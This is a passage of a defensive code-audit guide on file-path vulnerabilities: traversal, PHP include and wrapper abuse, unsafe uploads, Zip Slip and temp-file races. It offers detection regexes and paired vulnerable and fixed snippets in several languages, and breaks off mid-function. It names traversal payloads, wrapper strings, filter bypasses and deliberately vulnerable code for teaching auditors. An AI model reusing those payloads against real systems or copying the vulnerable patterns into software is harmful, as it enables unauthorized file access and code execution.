Scope & Objectives
- Detect every class where attacker-controlled input influences a filesystem path or archive entry name: path traversal (CWE-22/CWE-23), absolute-path injection (CWE-36), external control of file name/path passed to any sink (CWE-73), PHP include/require of remote or wrapper-controlled files (CWE-98), and unrestricted upload of dangerous file types (CWE-434).
- Cover these vulnerability families end to end:
- Path traversal in read, write, download, delete, include, and template-resolution sinks.
- LFI/RFI: dynamic
include/require/import/user-control resolution driven by request data, including PHP stream-wrapper abuse. - Arbitrary file upload: extension/MIME/magic/filename validation gaps, landing-directory executability,
.htaccess/.configoverwrite, polyglot files, traversal-in-filename. - Arbitrary file download/read: export/report/invoice/attachment endpoints mapping IDs or names to paths.
- Arbitrary file deletion (
unlink/File.delete/os.Remove) enabling config-wipe-to-reset chains. - Archive extraction: Zip Slip (CWE-23 via entry names), tar symlink attacks, partial-overwrite attacks; decompression-amplification itself is scored under CWE-409 and detailed in the DOS module (cross-ref DOS).
- Symlink and race issues: predictable temp names,
mktempmisuse, TOCTOU between containment check and open (cross-ref LOGIC for business-flow impact). - Storage-layer notes: S3/GCS keys built from user input, overbroad signed-URL scopes. Deep cloud misconfiguration stays in CONFIG (cross-ref CONFIG).
- Languages in scope: JavaScript/TypeScript (Express/Fastify/Koa, multer), Python (Flask/Django/FastAPI, stdlib
zipfile/tarfile), Java/Kotlin (Spring, jakarta.servlet, java.nio/java.util.zip/Apache Commons Compress), C# (ASP.NET Core), PHP (raw/Laravel/Symfony), Ruby (Rails, paperclip/carrierwave/shrine/Active Storage), Go (net/http standard library). - Deliverables per finding: sink location, tainted source, join/normalization chain, correctness verdict on any existing containment check, exploitability rating from static reasoning, and a concrete fix.
- Assume code-read access only. The curl procedures below are for authorized lab verification against systems you are explicitly permitted to test; never fire payloads at production during a static audit.
- Out of scope here: stored XSS served from uploaded SVG/HTML payloads (cross-ref WEB), zip-bomb resource math (cross-ref DOS), bucket policies/IAM (cross-ref CONFIG), business-logic consequences of TOCTOU (cross-ref LOGIC).
Prerequisites & Vocabulary
Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.
- path traversal: escaping the intended directory using sequences like
../ - LFI / RFI: steering
include/import-style statements to load attacker-chosen local or remote files - Zip Slip: archive entry names containing
../so extraction writes outside the target folder - magic bytes: file-start signatures revealing the true type regardless of its extension
- polyglot file: a single file that is valid as two formats at once (an image AND a script)
- symlink race (TOCTOU): swapping the path via a symbolic link between the safety check and the file open
- taint flow / source→sink: path untrusted data travels from entry point to dangerous function
- finding status: Confirmed > Probable > Needs-Review; evidence rules in templates/finding-report.md
Mental Model
Every file-handling bug answers two questions:
- Does attacker input reach a filesystem path? Any portion counts: whole path, subdirectory segment, filename, extension, or an ID that the app naively concatenates into a path.
- After ALL normalization layers run, does the final resolved path stay inside the intended root? The kernel resolves symlinks late; frameworks decode percent-encoding early; string filters see only one layer.
Path algebra by language
Joining functions do NOT behave identically. An attacker who submits an absolute path exploits this immediately:
| Language / API | Expression | Result | Absolute-path injection? |
|---|---|---|---|
| Node | path.join('/var/data', '/etc/passwd') |
/var/data/etc/passwd |
No |
| Node | path.resolve('/var/data', '/etc/passwd') |
/etc/passwd |
YES |
| Python | os.path.join('/var/data', '/etc/passwd') |
/etc/passwd |
YES |
| Python | Path('/var/data') / '/etc/passwd' |
PosixPath('/etc/passwd') |
YES |
| Java/Kotlin | Paths.get("/var/data").resolve("/etc/passwd") |
/etc/passwd |
YES |
| C# | Path.Combine(@"C:\data", "/etc/passwd") |
/etc/passwd (rooted arg wins) |
YES |
| Go | filepath.Join("/var/data", "/etc/passwd") |
/var/data/etc/passwd |
No (but .. still applies) |
| Ruby | File.join('/var/data', '/etc/passwd') |
/var/data/etc/passwd |
No (but File.expand_path flips it) |
Traversal cancels components: base + '/../secret' escapes one level per ../. On Windows, \ is also a separator, so ..\..\boot.ini works there even when the filter strips only /. On POSIX, \ is a legal filename character and does nothing.
Layered decoding: who normalizes what
| Layer | Behavior you must assume |
|---|---|
| Browser / fetch | Collapses ../ inside the URL path before sending; leaves %2e%2e%2f encoded inside query values untouched |
| curl | Collapses ../ unless you pass --path-as-is; use that flag when testing |
| nginx | Decodes %XX once for routing; merge_slashes on by default; does not re-decode %252e |
| Tomcat / Spring MVC | Rejects encoded slashes in the path by default post-hardening defaults; decodes query parameters once |
| Express / Flask / Django / Rails | Decode query and body values exactly once; %2e%2e%2f arrives as ../; %252e%252e%252f arrives as %2e%2e%2f |
| Application-level custom filters | Often strip literal ../ but not encoded forms; double-decoding happens only if the app calls a second decode (e.g., decodeURIComponent, urldecode, URLDecoder.decode) |
| Kernel / libc | Resolves symlinks and ./.. at open() time; sees only the final byte string after all app layers |
Consequence: a filter that rejects ../ is bypassed by %2e%2e%2f if it runs after framework decoding; a check that runs before decoding is bypassed by encoding. Double-encoded payloads matter only where two decodes occur.
Primitives by sink type
- Read sinks (
fs.readFile,open(),Files.newInputStream,File.ReadAllText,file_get_contents,readfile,ioutil.ReadFile,send_file) give arbitrary read → source code, configs,/etc/passwd, SSH keys. - Include/eval sinks (
include $_GET[...], dynamicrequire(),importlib, JSP<jsp:include>with variables) turn read into execution → Critical. - Write sinks (upload handlers,
fs.createWriteStream,move_uploaded_file) give persistence; impact = executability of the landing zone × content control. - Delete sinks (
unlink,File.delete,os.Remove,rm -rfbuilt from paths) give integrity damage; deleting session/config/state can reset auth state (chain to AUTHN findings). - Serve sinks (
res.sendFile,http.ServeFile,X-Accel-Redirect) combine read with delivery to the attacker.
Detection vs exploitation: statically prove constructability — show attacker bytes reach the sink, enumerate normalization between them, and predict what the final path resolves to. Fire live probes only in authorized labs.
Second-order rule: filenames stored in the database are propagators, not sources-turned-safe. A filename uploaded today and concatenated into a backup/export/archive path next month is still tainted. Trace to origin.
What To Check
Path traversal in read/write/serve paths
- Enumerate every endpoint that takes a name, path, ID, folder, or "report"/"export" parameter and touches disk.
- For each site, reconstruct the exact expression producing the final path: which function joins, whether user data is a full component or a suffix, whether any normalize/resolve/clean call happens before or after the join.
- Flag joins where user input lands as ANY argument of
os.path.join,path.join,path.resolve,Paths.get().resolve,Path.Combine,filepath.Join,File.join, string+, f-string/template-literal interpolation into a path variable. - Check containment logic for these specific defects:
- Compare before decode (encoded payloads pass).
startsWith(base)without trailing separator:base="/var/up"accepts candidate/var/uploads-attacker/x.- No case-insensitive comparison on Windows/macOS targets (
BASE.TXTvsbase.txt). realpath/resolvecalled AFTER opening the file, or result discarded.- Symlink never resolved: check passes on the lexical path while
candidate -> /etc/shadow. - Blacklist filtering (
replace('../','')) instead of canonicalization: defeated by....//,..././,../repeated, backslashes on Windows. - Extension allowlist checked on the ORIGINAL name while the SAVED name derives from it separately.
- Inspect static-serving configuration for roots that include application directories:
express.static(path.join(__dirname)),app.use(express.static('.')), nginxroot /srv/app;aliasing config dirs, Gohttp.FileServer(http.Dir(".")), SpringaddResourceHandlers("/**", ...)mapped at application root, Django servingMEDIA_ROOT = BASE_DIR. - Check template/include loaders configured with user-reachable name spaces: Jinja2
FileSystemLoader(searchpath=request-derived), TwigFilesystemLoaderwith user-chosen namespace roots, JSPRequestDispatcher.forward(userInput + ".jsp"), ASP.NETRenderPartial(userControlName).
LFI / RFI
- Grep PHP for variable-driven includes:
include $x,require $x,include($_GET['page']). Classify each:- Directly request-controlled with no allowlist → flag Critical (wrapper-capable).
- Concatenated with fixed suffix (
$page . '.php') → still flag; null-byte truncation applied on PHP < 5.3.4 (historical), but wrapper syntaxphp://filter/...resource=survives suffixes via crafted resource strings only when no suffix is appended — verify per-site. - Switch/allowlist mapping to constants → safe, note as compensating control.
- Confirm RFI preconditions:
allow_url_fopen=On(default On historically, commonly Off on modern hardened hosts) for wrappers likehttp://;allow_url_include=On(default Off since PHP 5.2) required forinclude 'http://...'anddata://. Mark RFI findings conditional on php.ini evidence found in repo (php.ini*, Dockerfiles,docker-php-ext, ini snippets). - Inventory Python dynamic import/exec surfaces:
importlib.import_module(userInput),importlib.util.spec_from_file_location(name, userPath),__import__(userInput),exec(open(userPath).read()), plugin loaders scanning user-writable dirs. - Inventory JVM/.NET include analogues: JSP
<jsp:include page="<%=request.getParameter(\"p\")%>">,application.getRequestDispatcher(userPath).forward(...), SpringInternalResourceViewResolverprefix+viewname-from-request patterns, ASP.NETLoadControl("~/controls/" + Request["uc"] + ".ascx"), Razor dynamic partial resolution. - Node: flag non-literal
require(variable)andawait import(variable); CommonJSrequireof a user path executes module code;import()likewise. Also flag template engines resolving user-named templates from disk (app.set('view engine')+res.render(req.params.tpl)). - For each LFI confirmed reachable, record which stream wrappers apply so reproduction uses the correct one (see payload cheat-sheet); classify
zip://,phar://(relevant mainly for deserialization chains),expect://(needs PECL expect extension),data://(needsallow_url_include) as historical-or-conditional vsphp://filteras still fully relevant with no special settings.
Arbitrary file upload
- Locate every multipart handler: multer single/array/fields, busboy, formidable, Django
request.FILES, Flaskrequest.files, FastAPIUploadFile, SpringMultipartFile, ASP.NETIFormFile, PHP$_FILES+move_uploaded_file, RailsActionDispatch::Http::UploadedFile, Gor.FormFile, carrierwave/paperclip/shrine/Active Storage uploaders. - Audit the validation chain and demand ALL THREE legs:
- Extension allowlist (never blacklist): blacklist
.phpmisses.php5,.phtml,.phar,.pht; blacklist.aspxmisses.ashx,.asmx,.ascx,.svc; case variants.PHP,.Phpdefeat lowercase comparisons; double extensions.php.jpgland depending on server multi-extension handling (Apache withAddHandler php+ multiviews-style behavior). - Declared MIME checked against allowlist (client-controlled alone — worthless, but its absence signals zero effort).
- Magic bytes verified server-side: python-magic/libmagic, npm
file-type, Apache Tika, .NETUrlMon/Mime sniffing libs, Gonet/http.DetectContentType(limited set).
- Extension allowlist (never blacklist): blacklist
- Trace the on-disk filename decision. Flag:
filename(cb) { cb(null, req.file.originalname) }in multer diskStorage (traversal-in-filename../../shell.php, absolute paths, NUL bytes historical).move_uploaded_file($_FILES['f']['tmp_name'], $dir . '/' . $_FILES['f']['name']).Path.Combine(dir, file.FileName)in ASP.NET Core with raw client name.- Unicode normalization asymmetries: client sends NFC/NFD or fullwidth lookalikes that survive filters but collapse differently on the target FS.
- Determine the landing directory: inside webroot? Inside a dir served with script handlers? Writable by the app user AND listable? Check for missing deny rules for
.htaccess,.user.ini,web.config,.configuploads — overwriting these changes handler mappings (ApacheAddType, PHP.user.iniauto_prepend). - Check image pipelines: if images are accepted, is there re-encoding (Pillow save, sharp convert, ImageMagick with policy hardening)? Re-encoding destroys embedded payloads; passthrough storage preserves them (polyglot GIFAR concept — GIF header + script content). ImageMagick installs get a hardened
policy.xmlexplicitly disabling the coder classes behind ImageTragick:<policy domain="coder" rights="none" pattern="MVG"/>and the same forMSL,URL,FILE,EPHEMERAL(path/etc/ImageMagick-6/policy.xmlor the v7 equivalent). - Check size limits enforced BEFORE buffering/streaming to disk, and per-file + total quota enforcement.
- Verify uploaded files are not made executable: mode bits (0600/0640 expected), mount flags (
noexecin docker-compose/systemd mounts), container layer writable-by-app separation.
Arbitrary file download / read endpoints
- Hunt report/invoice/export/receipt/attachment/log-download features taking
filename,name,file,path,idparams. Map each to its disk lookup. - Flag ID-based lookups that interpolate the ID into a path without validation (
/reports/{id}/download→Path.Combine(reportsDir, id + ".pdf")with unvalidatedid). - Check attachment handling for header injection too (
Content-Dispositionbuilt from client filename — cross-ref WEB for response splitting). - Verify range-request/zip-batch features ("download all as zip") don't let users reference arbitrary server paths as batch members.
File deletion
- Grep deletion sinks fed by request data:
fs.unlink/unlinkSync/rm,os.remove/os.unlink/shutil.rmtree,Files.delete/deleteIfExists,File.Delete,unlink(),File.delete,os.Remove, shell-outs (rm,del) built from strings. - Assess chain value: deleting config/session/storage markers can force password resets, re-provisioning, or unlock admin flows. Deleting log files aids anti-forensics. Rate accordingly.
- Flag
shutil.rmtree(userPath)and recursive deletes with user influence especially — one component difference deletes directory trees.
Symlink & race issues
- Find temp-file creation:
tempfile.mktemp(insecure by design — TOCTOU between name generation and open),tmpnam, hardcoded/tmp/app_buffer,File.createTempFilefollowed by manual writes with default perms,ioutil.TempFilemisused with shared directories and predictable patterns. - Flag check-then-use sequences:
if File.exists(p) then open(p),if !strings.Contains(p,'..') then fs.readFile(p), permission check then open — anything between validate and use is a race window (cross-ref LOGIC for flow impact). - In shared/multi-user dirs (upload pools, spool dirs), check whether the code follows symlinks when reading/writing user-placed entries (
os.Openfollows;O_NOFOLLOWabsent;Files.newInputStreamwithoutLinkOption.NOFOLLOW_LINKS). - Archive-extraction symlink handling is covered in the extraction loops section — flag extractors that create symlinks from tar entries verbatim.
Storage-layer notes (brief)
- Flag S3/GCS key construction by direct interpolation:
Key: userId + "/" + filename,blobClient := container.GetBlobClient(userInput). Even though object stores have flat namespaces, attacker-set keys enable overwrite of other tenants' objects when the tenant prefix comes from input, and prefix/listing confusion when keys collide. - Flag signed-URL generation with overbroad scope: signing
s3://bucket/*or long-lived presigned GETs for whole prefixes instead of one key. Deep cloud config belongs to CONFIG (cross-ref CONFIG).
Where To Look
High-yield locations
| Location | What to expect |
|---|---|
| Routes/controllers named download, export, report, invoice, receipt, attachment, media, asset, static, file, document | Traversal read/serve sinks |
| Upload controllers, multipart middleware setup, uploader classes (carrierwave, paperclip, shrine, Active Storage, multer config, PHP move handlers) | Upload validation chain and landing zone |
| Template/view bootstrap: Jinja env, Twig loader, JSP config, view resolvers, partial-render helpers | User-controlled template/include names |
| Static-serving wiring: express.static, koa-send, nginx conf in repo, http.FileServer, Spring resource handlers, Django urls + STATIC/MEDIA settings | Misconfigured roots, follow-symlinks options |
| Import/export jobs, backup scripts, cron scripts, CLI tools sharing helpers with web code | Same taint reaching more dangerous sinks (rmtree, rm -rf) |
| Archive processing: importers, migration tools, avatar bundles, "restore from backup" | Zip Slip / tar symlinks |
| Temp usage in PDF/image/video processing pipelines | Predictable names, races |
| Config: php.ini fragments, docker-compose volumes, nginx/apache conf committed to repo | Preconditions for RFI/wrapper abuse, executable upload dirs |
Ripgrep starting points
Run from repo root; add -g '!vendor' -g '!node_modules' style excludes as needed. Every pattern below is ripgrep-compatible.
# Serve/download sinks fed anything
(res\.sendFile|res\.download|koa-send|ctx\.download)\s*\(
# Python file-open sinks fed non-literals (variables/interpolation)
open\s*\(\s*[A-Za-z_][A-Za-z0-9_.\[\]'"]*
# Python file-serve sinks
(send_file\s*\(|FileResponse\s*\(|send_from_directory\s*\()
(send_file|FileResponse|send_from_directory)\s*\(
# Java/Kotlin file APIs
(Paths\.get\s*\(|new\s+(File|FileReader|FileWriter|FileInputStream|FileOutputStream|RandomAccessFile)\s*\(|Files\.(newInputStream|newOutputStream|readAllBytes|readAllLines|delete|deleteIfExists|copy|createTempFile)\s*\()
# C# file APIs
(File\.(ReadAllText|ReadAllBytes|ReadAllLines|Open|OpenRead|OpenWrite|Delete|WriteAllBytes|Copy|Move)|Directory\.(Delete|GetFiles)|Path\.Combine)\s*\(
# PHP include/read/upload/delete sinks (variable-driven)
\b(include|require)(_once)?\s*\(?\s*\$
(fopen|file_get_contents|readfile|unlink|rmdir|fopen\(|move_uploaded_file)\s*\(
# Ruby file sinks
(File\.(read|open|binread|delete|unlink|exist?)|IO\.(read|binread)|FileUtils\.(rm|rm_rf|cp|mv)|send_data|x_send_file)\b
# Go file sinks
(os\.(Open|OpenFile|ReadFile|Create|Remove|RemoveAll|Rename)|ioutil\.(ReadFile|WriteFile)|http\.ServeFile|filepath\.Join)\s*\(
# Join-with-user-input heuristic (tune token list per codebase)
(join|Combine|resolve)\s*\([^)]*(req\.|request\.|params\[|\$_GET|\$_POST|\$_FILES|query\.|form\.|args\.|c\.Query|c\.Param)[^)]*\)
# Upload machinery
(multer|diskStorage|busboy|formidable|UploadFile|MultipartFile|IFormFile|\$_FILES|move_uploaded_file|ActiveStorage|carrierwave|paperclip|shrine|FormFile\(\))
# Dynamic include/import/require
(require\s*\(\s*[A-Za-z_$]|await\s+import\s*\(|importlib\.(import_module|util)|__import__\s*\(|exec\s*\(\s*open)
# Template loaders and view resolution
(FileSystemLoader|Twig\\\\?Loader|FilesystemLoader|setTemplateLoader|ViewResolver|getRequestDispatcher|LoadControl|renderPartial|res\.render\s*\()
# Archive extraction
(zipfile\.ZipFile|tarfile\.open|ZipInputStream|ZipFile\(|ZipArchive|extractTo|ExtractToFile|unzip\s|tar\s+-x|Compress\\ZipFile|archive\.Extract)
# Temp files and predictable names
(mktemp|tempfile\.(mktemp|NamedTemporaryFile|mkstemp)|tmpnam|TempFile|CreateTempFile|GetTempFileName|\/tmp\/[A-Za-z_])
# Traversal attempts worth hunting in committed fixtures/logs/tests (indicates known-paths handling)
(\.\.\/|%2e%2e(%2f|%5c)?|\.\.%2f|\.\.%5c|%252e)
# Cloud storage key construction
(s3\.(get_object|put_object|upload_file)|getObject\s*\(|PutObject|storage\.bucket\(\)|blob_client|GetBlockBlobReference|upload_from_string|Key\s*[:=])
Patterns & Signatures
Dangerous vs safe call table
| Language/API | Dangerous call | Safe alternative |
|---|---|---|
| JS/TS (Node/Express) | res.sendFile(req.query.name), res.download(base + name), fs.readFile(base + name), multer filename: (req,f,cb)=>cb(null,f.originalname) |
path.resolve + strict prefix check, or ID→DB row→server-generated storage name; multer random crypto.randomBytes(16).toString('hex') names |
| Python (Flask/Django/FastAPI) | open(BASE + request.args['f']), send_file(f'{BASE}/{name}'), shutil.rmtree(userPath), tarfile.open(...).extractall(dest) |
pathlib resolve + relative_to(BASE) guard; ID lookup; manual validated extraction loop |
| Java/Kotlin | new File(base, userInput), base.resolve(input), Files.copy(zis, dest.resolve(entry.getName())), new File(request.getParameter("f")) |
base.resolve(input).normalize() then startsWith(base) plus toRealPath() recheck; validated ZipInputStream loop |
| C# | Path.Combine(root, userInput) unchecked, File.ReadAllText(candidate), PhysicalFile(candidate,...) unchecked, Path.Combine(root, file.FileName) on upload |
Path.GetFullPath + rooted-prefix compare with separator and OrdinalIgnoreCase; random storage names |
| PHP | include $_GET['page'];, readfile($dir . $_GET['f']);, move_uploaded_file($tmp, $dir . $_FILES['f']['name']);, unlink($dir . $_GET['name']); |
Allowlist switch to constants; realpath + str_starts_with containment; random stored names via DB metadata |
| Ruby | File.read(params[:path]), send_data File.read("#{DIR}/#{params[:name]}"), FileUtils.rm_rf(user_path), carrierwave store_dir interpolating user params |
ID→model→stored-name lookup; frozen constant store_dir; validated expand_path containment |
| Go | http.ServeFile(w, r, r.URL.Query().Get("f")), os.Open(filepath.Join(base, name)) unchecked, filepath.Walk + os.RemoveAll on user dir |
filepath.Rel containment + EvalSymlinks recheck before open; ID lookup |
Vulnerable vs fixed snippets per family
Path traversal — JavaScript/TypeScript
// VULNERABLE
app.get('/reports/:name', (req, res) => {
res.sendFile(path.join(__dirname, 'reports', req.params.name));
});
// path.join keeps attacker segments: /reports/..%2f..%2fconfig/secrets.json
// FIXED
const BASE = path.resolve(__dirname, 'reports');
function safeResolve(userSegment) {
const candidate = path.resolve(BASE, userSegment);
if (candidate !== BASE && !candidate.startsWith(BASE + path.sep)) {
throw new Error('Path escapes reports root');
}
return candidate;
}
app.get('/reports/:id', async (req, res) => {
const meta = await db.findReport(req.params.id); // opaque ID -> metadata
if (!meta || meta.ownerId !== req.user.id) return res.sendStatus(404);
res.setHeader('Content-Disposition',
`attachment; filename="${encodeURIComponent(meta.displayName)}"`);
res.sendFile(safeResolve(meta.storageName)); // server-generated name
});
Path traversal — Python
# VULNERABLE
@app.route('/download')
def download():
name = request.args.get('name')
return send_file(os.path.join(UPLOADS, name)) # ../../etc/passwd escapes
# FIXED
from pathlib import Path
BASE = Path(app.config["UPLOADS"]).resolve()
def safe_resolve(name: str) -> Path:
candidate = (BASE / name).resolve() # resolve() collapses .. and symlinks
try:
candidate.relative_to(BASE)
except ValueError:
raise PermissionError("path escapes uploads root")
if not candidate.is_file():
raise FileNotFoundError(name)
return candidate
@app.route('/download/<doc_id>')
def download(doc_id):
doc = Document.query.get_or_404(doc_id) # ID -> metadata
if doc.owner_id != g.user.id:
abort(404)
return send_file(safe_resolve(doc.storage_name),
as_attachment=True,
download_name=doc.display_name)
Path traversal — Java/Kotlin
// VULNERABLE
@GetMapping("/files")
public ResponseEntity<Resource> get(@RequestParam String name) throws IOException {
Path p = Paths.get("/srv/app/files").resolve(name); // absolute input replaces base
return ResponseEntity.ok(new FileSystemResource(p));
}
// FIXED
private static final Path BASE =
Paths.get("/srv/app/files").toAbsolutePath().normalize();
private Path safeResolve(String userInput) throws IOException {
Path candidate = BASE.resolve(userInput).normalize();
if (!candidate.startsWith(BASE)) {
throw new SecurityException("Path escapes files root");
}
Path real = candidate.toRealPath(); // follow symlinks NOW, re-check
if (!real.startsWith(BASE.toRealPath())) {
throw new SecurityException("Symlink escape");
}
return real;
}
Path traversal — C#
// VULNERABLE
public IActionResult Get(string name)
{
var p = Path.Combine(_env.ContentRootPath, "App_Data", name); // rooted name wins
return PhysicalFile(p, "application/octet-stream");
}
// FIXED
private readonly string _root;
public FilesController(IHostEnvironment env)
{
_root = Path.GetFullPath(Path.Combine(env.ContentRootPath, "App_Data"));
}
public IActionResult Get(string name)
{
var candidate = Path.GetFullPath(Path.Combine(_root, name));
var inside = candidate.StartsWith(
_root + Path.DirectorySeparatorChar, StringComparison.OrdinalIgnoreCase);
if (!inside && !string.Equals(candidate, _root, StringComparison.OrdinalIgnoreCase))
return BadRequest("Invalid path");
return PhysicalFile(candidate, "application/octet-stream",
Path.GetFileName(candidate));
}
Path traversal — PHP
// VULNERABLE
$page = $_GET['page'];
include $page; // wrappers + ../ both work
// FIXED: allowlist-first; never pass user bytes to include
$pages = ['home' => __DIR__ . '/pages/home.php',
'about' => __DIR__ . '/pages/about.php'];
$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
http_response_code(404);
exit('Unknown page');
}
include $pages[$key];
// VULNERABLE (download variant)
$name = $_GET['name'];
readfile('/srv/app/reports/' . $name);
// FIXED (download variant)
$base = realpath('/srv/app/reports');
$candidate = realpath($base . DIRECTORY_SEPARATOR . ($_GET['name'] ?? ''));
if ($candidate === false
|| !str_starts_with($candidate, $base . DIRECTORY_SEPARATOR)) {
http_response_code(400);
exit('Invalid path');
}
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename="' . basename($candidate) . '"');
readfile($candidate);
// realpath() already resolved symlinks, so this comparison also blocks link escapes
Path traversal — Ruby
# VULNERABLE
get '/attachments/:name' do
send_data File.read(File.join('attachments', params[:name]))
end
# FIXED
STORAGE_ROOT = File.realpath(File.expand_path('../storage/attachments', __dir__))
def safe_path(name)
candidate = File.expand_path(File.join(STORAGE_ROOT, name.to_s))
raise ArgumentError, 'escapes root' unless candidate.start_with?(STORAGE_ROOT + File::SEPARATOR)
candidate = File.realpath(candidate) # Errno::ENOENT if missing; resolves links
raise ArgumentError, 'symlink escape' unless candidate.start_with?(STORAGE_ROOT + File::SEPARATOR)
candidate
end
get '/attachments/:id' do
att = Attachment[params[:id]] || halt(404)
halt(404) unless att.account_id == current_account.id
content_type att.mime_type
attachment att.display_name
File.binread(safe_path(att.storage_name))
end
Path traversal — Go
// VULNERABLE
func download(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("f")
http.ServeFile(w, r, filepath.Join("/srv/app/docs", name))
}
// FIXED
func safeJoin(base, name string) (string, error) {
baseAbs, err := filepath.Abs(base)
if err != nil {
return "", err
}
candidate := filepath.Clean(filepath.Join(baseAbs, name)) // Clean collapses ..
rel, relErr := filepath.Rel(baseAbs, candidate)
if relErr != nil || rel == ".." ||
strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return "", errors.New("path escapes docs root")
}
// Symlink hardening: resolve everything and compare again.
realBase, err := filepath.EvalSymlinks(baseAbs)
if err != nil {
return "", err
}
real, err := filepath.EvalSymlinks(candidate)
if err != nil {
return "", err
}
if real != realBase &&
!strings.HasPrefix(real, realBase+string(filepath.Separator)) {
return "", errors.New("symlink escape")
}
return candidate, nil
}
func download(w http.ResponseWriter, r *http.Request) {
doc, err := store.ByID(r.URL.Query().Get("id")) // ID -> metadata
if err != nil || !doc.OwnedBy(r.Context().User()) {
http.Error(w, "not found", http.StatusNotFound)
return
}
p, err := safeJoin("/srv/app/docs", doc.StorageName)
if err != nil {
http.Error(w, "invalid path", http.StatusBadRequest)
return
}
w.Header().Set("Content-Disposition",
"attachment; filename=\""+template.JSEscapeString(doc.Display)+"\"")
http.ServeFile(w, r, p)
}
Upload validation — vulnerable vs fixed
// VULNERABLE
const upload = multer({
storage: multer.diskStorage({
destination: 'public/uploads/', // inside webroot, served statically
filename: (req, file, cb) => cb(null, file.originalname) // attacker-controlled name
}),
fileFilter: (req, file, cb) => { // blacklist + MIME-only
const bad = ['.php', '.exe', '.jsp'];
cb(!bad.some(e => file.originalname.endsWith(e)), 'Blocked');
}
});
// FIXED
const crypto = require('crypto');
const ALLOWED = new Set(['image/png', 'image/jpeg', 'image/gif']);
const EXT_FOR = { 'image/png': '.png', 'image/jpeg': '.jpg', 'image/gif': '.gif' };
const upload = multer({
storage: multer.diskStorage({
destination: '/var/app-storage/uploads', // outside webroot, noexec mount
filename: (req, file, cb) =>
cb(null, crypto.randomBytes(16).toString('hex') + EXT_FOR[file.mimetype])
}),
limits: { fileSize: 5 * 1024 * 1024 },
fileFilter: (req, file, cb) => cb(ALLOWED.has(file.mimetype))
});
app.post('/avatar', upload.single('avatar'), async (req, res) => {
const ft = await fileTypeFromFile(req.file.path); // magic-byte check (npm file-type)
if (!ft || !ALLOWED.has(ft.mime)) {
fs.unlinkSync(req.file.path);
return res.status(400).json({ error: 'content is not an allowed image' });
}
const out = req.file.path + '.reenc'; // re-encode strips payloads
await sharp(req.file.path).resize(512, 512).png().toFile(out);
fs.unlinkSync(req.file.path);
fs.renameSync(out, req.file.path);
await db.saveAvatar(req.user.id, req.file.filename); // DB holds name + original label
res.json({ id: req.user.id });
});
// VULNERABLE
$dst = $_SERVER['DOCUMENT_ROOT'] . '/uploads/' . $_FILES['f']['name'];
move_uploaded_file($_FILES['f']['tmp_name'], $dst); // name passthrough + webroot
// FIXED
$allow = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['f']['tmp_name']);
if (!isset($allow[$mime])) {
http_response_code(400);
exit('type not allowed');
}
$stored = bin2hex(random_bytes(16)) . '.' . $allow[$mime];
$dst = '/var/app-storage/uploads/' . $stored; // outside webroot, random name
move_uploaded_file($_FILES['f']['tmp_name'], $dst);
chmod($dst, 0640);
$db->insert('uploads', [
'user_id' => $uid, 'orig_name' => $_FILES['f']['name'], 'stored_name' => $stored,
]);
echo json_encode(['id' => $db->lastInsertId()]);
Safe archive extraction loops (Zip Slip / tar symlinks)
Python (stdlib zipfile):
# VULNERABLE
with zipfile.ZipFile(uploaded) as zf:
zf.extractall("/srv/app/imports") # entry "../x" escapes
# FIXED
import os
import zipfile
from pathlib import Path
MAX_TOTAL_BYTES = 1 << 30 # 1 GiB decompressed budget (also blunts zip bombs)
def extract_zip(zf: zipfile.ZipFile, dest: Path) -> None:
dest = dest.resolve()
written = 0
for info in zf.infolist():
target = (dest / info.filename).resolve()
if target != dest and dest not in target.parents:
raise ValueError(f"entry escapes destination: {info.filename}")
if info.is_dir():
target.mkdir(parents=True, exist_ok=True)
continue
if target.is_symlink():
target.unlink() # archives must not plant links
target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info) as src, open(target, "wb") as out:
while chunk := src.read(65536):
written += len(chunk)
if written > MAX_TOTAL_BYTES:
raise ValueError("decompression budget exceeded")
out.write(chunk)
Java (java.util.zip):
// VULNERABLE
try (ZipInputStream zis = new ZipInputStream(in)) {
ZipEntry e;
while ((e = zis.getNextEntry()) != null) {
File out = new File(destDir, e.getName()); // "../" honored by File parenting
Files.copy(zis, out.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
}
// FIXED
Path base = Paths.get(destDir).toAbsolutePath().normalize();
try (ZipInputStream zis = new ZipInputStream(in)) {
ZipEntry e;
byte[] buf = new byte[65536];
while ((e = zis.getNextEntry()) != null) {
Path target = base.resolve(e.getName()).normalize();
if (!target.startsWith(base)) {
throw new IOException("Blocked zip-slip entry: " + e.getName());
}
if (e.isDirectory()) {
Files.createDirectories(target);
continue;
}
Files.createDirectories(target.getParent());
try (OutputStream os = Files.newOutputStream(target)) {
int n;
long total = 0;
while ((n = zis.read(buf)) > 0) {
total += n;
if (total > MAX_ENTRY_BYTES) {
throw new IOException("entry too large");
}
os.write(buf, 0, n);
}
}
}
}
Go (archive/tar, including symlink rejection):
// VULNERABLE
tr := tar.NewReader(fr)
for {
hdr, err := tr.Next()
if err == io.EOF {
break
}
target := filepath.Join(destDir, hdr.Name) // hdr.Name may contain ../
f, _ := os.Create(target)
io.Copy(f, tr)
f.Close()
}
// FIXED
func extractTar(fr io.Reader, destDir string) error {
base, err := filepath.Abs(destDir)
if err != nil {
return err
}
tr := tar.NewReader(fr)
for {
hdr, err := tr.Next()
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if hdr.Typeflag == tar.TypeSymlink || hdr.Typeflag == tar.TypeLink {
return fmt.Errorf("refusing archived link: %s -> %s",
hdr.Name, hdr.Linkname)
}
target := filepath.Clean(filepath.Join(base, hdr.Name))
rel, rerr := filepath.Rel(base, target)
if rerr != nil || rel == ".." ||
strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return fmt.Errorf("blocked zip/tar-slip entry: %s", hdr.Name)
}
switch hdr.Typeflag {
case tar.TypeDir:
if err := os.MkdirAll(target, 0750); err != nil {
return err
}
case tar.TypeReg:
if err := os.MkdirAll(filepath.Dir(target), 0750); err != nil {
return err
}
f, err := os.OpenFile(target, os.O_CREATE|os.O_TRUNC|os.O_WRONLY,
